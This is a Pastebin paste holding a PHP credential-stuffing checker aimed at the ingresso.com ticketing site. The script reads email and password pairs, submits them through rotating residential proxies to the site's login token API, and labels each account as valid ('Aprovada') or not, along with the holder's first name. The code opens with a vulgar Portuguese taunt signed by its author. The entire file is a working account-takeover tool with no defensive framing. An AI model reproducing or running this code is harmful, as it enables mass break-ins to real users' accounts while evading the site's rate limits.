Advertisement
Guest User

Untitled

a guest
Mar 17th, 2019
205
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.04 KB | None | 0 0
  1. <?php
  2. //header('content-type: application/json');
  3.  
  4. /*
  5. PASSEI A PIKA NO SEU CU OTARIOOO
  6. CODADO BY 3N00W PAU MAIS TORTO DE MINAS GERAIS TURURURURU
  7.  
  8. */
  9.  
  10. error_reporting(0);
  11. set_time_limit(0);
  12.  
  13. list($email, $senha) = explode("|", str_replace(array(",", "»", "|", ":"), "|", $_REQUEST['linha']));
  14.  
  15. function _curl($url, $post = false, $headers = false, $luminati = false) {
  16. $username = '';
  17. $password = '';
  18. $port = 22225;
  19. $session = mt_rand();
  20. $super_proxy = 'zproxy.lum-superproxy.io';
  21. $ch = curl_init();
  22. curl_setopt($ch, CURLOPT_URL, $url);
  23. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  24. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  25. if ($luminati) {
  26. curl_setopt($ch, CURLOPT_PROXY, "http://$super_proxy:$port");
  27. curl_setopt($ch, CURLOPT_PROXYUSERPWD, "$username-session-$session:$password");
  28. }
  29. if ($post) {
  30. curl_setopt($ch, CURLOPT_POST, 1);
  31. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  32. }
  33. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt');
  34. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookie.txt');
  35. if ($headers) {
  36. curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  37. }
  38. $exec = curl_exec($ch);
  39. return $exec;
  40. }
  41.  
  42. $d1 = json_decode(_curl("https://api.ingresso.com/v1/token", 'username='.$email.'&password='.$senha.'&grant_type=password', array('Accept: application/json, text/plain, */*', 'Content-Type: application/x-www-form-urlencoded', 'Origin: https://minha-conta.ingresso.com', 'Referer: https://minha-conta.ingresso.com/?_ga=2.262738188.1859643881.1552868267-1036966741.1552868266', 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36', true)));
  43.  
  44. if($d1->error_description == "Usuário ou senha inválidos.") {
  45. echo "Reprovada $email $senha";
  46. } else if ($d1->access_token) {
  47. $nome = $d1->user_first_name;
  48. echo "Aprovada $email $senha => Nome: $nome";
  49. } else {
  50. echo "Reprovada $email $senha Error";
  51. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement